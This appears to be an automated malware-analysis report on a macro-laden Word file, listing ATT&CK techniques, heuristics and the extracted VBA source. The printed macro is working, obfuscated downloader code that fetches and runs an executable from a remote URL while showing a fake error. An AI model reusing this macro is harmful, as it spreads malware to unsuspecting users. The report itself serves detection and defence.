MALICIOUS
202
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1203 Exploitation for Client Execution
The sample contains a VBA macro with an AutoOpen function that uses the Shell() command to execute a payload. The document body displays a lure instructing the user to enable macros and editing, a common tactic for macro-based malware. The obfuscated string within the AutoOpen macro likely decodes to a command to download and execute a second-stage payload.
Heuristics 7
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
- http://ns.adobe.com/xap/1.0/In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
- http://ns.adobe.com/tiff/1.0/In document text (OLE body)
- http://ns.adobe.com/exif/1.0/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/rights/In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2529 bytes |
SHA-256: 335d327873a66afff81759717c5d3b1522765d8be7011b86d2b0270f563bf2e4 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "NewMacros"
Sub AutoOpen()
Dim OGADJTPBNNVIKR As String
Dim FMBVJVBB As String
OGADJTPBNNVIKR = OGADJTPBNNVIKR & VRUOAIRHKHHTMF("fpg1h{h 2f %zdlw") & VRUOAIRHKHHTMF("iru 2w 8 \NHUT ) elw") & VRUOAIRHKHHTMF("vdgplq 2wudqvihu ") & VRUOAIRHKHHTMF("X") & VRUOAIRHKHHTMF("NHI ") & VRUOAIRHKHHTMF("2grzqord") & VRUOAIRHKHHTMF("g 2sulrulw| qrupdo kwwsv=22zz") & VRUOAIRHKHHTMF("z1gurser{1frp2v2:e<66")
OGADJTPBNNVIKR = OGADJTPBNNVIKR & VRUOAIRHKHHTMF("5u9yplxk{o24") & VRUOAIRHKHHTMF("thv|r}dqdqul") & VRUOAIRHKHHTMF("yr{l") & VRUOAIRHKHHTMF("w|ri1h{hBgo@4 (dssgdwd(_lxr") & VRUOAIRHKHHTMF("ogz1h{h )vwduw (dssgdwd(_lxro") & VRUOAIRHKHHTMF("gz1h{h%")
FMBVJVBB = FMBVJVBB & VRUOAIRHKHHTMF("Huuru 4<;:7= \rx p") & VRUOAIRHKHHTMF("xvw kdyh Riilfh Surihvvl") & VRUOAIRHKHHTMF("rqdo Hglwlrq wr uhdg") & VRUOAIRHKHHTMF(" wklv frq") & VRUOAIRHKHHTMF("whqw/ sohdvh x") & VRUOAIRHKHHTMF("sjudgh |rxu o") & VRUOAIRHKHHTMF("lfhqfh1 Ylvlw z") & VRUOAIRHKHHTMF("zz1plfurvriw1frp ir")
FMBVJVBB = FMBVJVBB & VRUOAIRHKHHTMF("u kho") & VRUOAIRHKHHTMF("s")
Shell OGADJTPBNNVIKR, vbHide
MsgBox FMBVJVBB
End Sub
Private Function KDFNHXYJY(ByVal ZXUXMWSDNWUXFKZROLAKXAXFS As String, ByVal UIZLJHCZYXCKDO As Long) As String
Dim NIFULPKBRS As Long
NIFULPKBRS = Len(ZXUXMWSDNWUXFKZROLAKXAXFS)
Dim KSTUELH As String
Dim ELNWJPYGEKSJKWJXKKAAHOPC As Long
Dim RZTNAMICZ As Long
Dim WTBWUKRWBTLKFVPIDGVYKDKCX() As Long
ReDim WTBWUKRWBTLKFVPIDGVYKDKCX(1 To NIFULPKBRS)
For RZTNAMICZ = 1 To NIFULPKBRS
ELNWJPYGEKSJKWJXKKAAHOPC = Asc(Mid(ZXUXMWSDNWUXFKZROLAKXAXFS, RZTNAMICZ, 1))
If ELNWJPYGEKSJKWJXKKAAHOPC = 32 Then
WTBWUKRWBTLKFVPIDGVYKDKCX(RZTNAMICZ) = ELNWJPYGEKSJKWJXKKAAHOPC
Else:
ELNWJPYGEKSJKWJXKKAAHOPC = ELNWJPYGEKSJKWJXKKAAHOPC - UIZLJHCZYXCKDO
WTBWUKRWBTLKFVPIDGVYKDKCX(RZTNAMICZ) = ELNWJPYGEKSJKWJXKKAAHOPC
End If
KSTUELH = KSTUELH & Chr(WTBWUKRWBTLKFVPIDGVYKDKCX(RZTNAMICZ))
Next
KDFNHXYJY = KSTUELH
End Function
Private Function VRUOAIRHKHHTMF(IKJKBSKNJNPOGLRADOUVBMSFL As String)
VRUOAIRHKHHTMF = KDFNHXYJY(IKJKBSKNJNPOGLRADOUVBMSFL, 3)
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.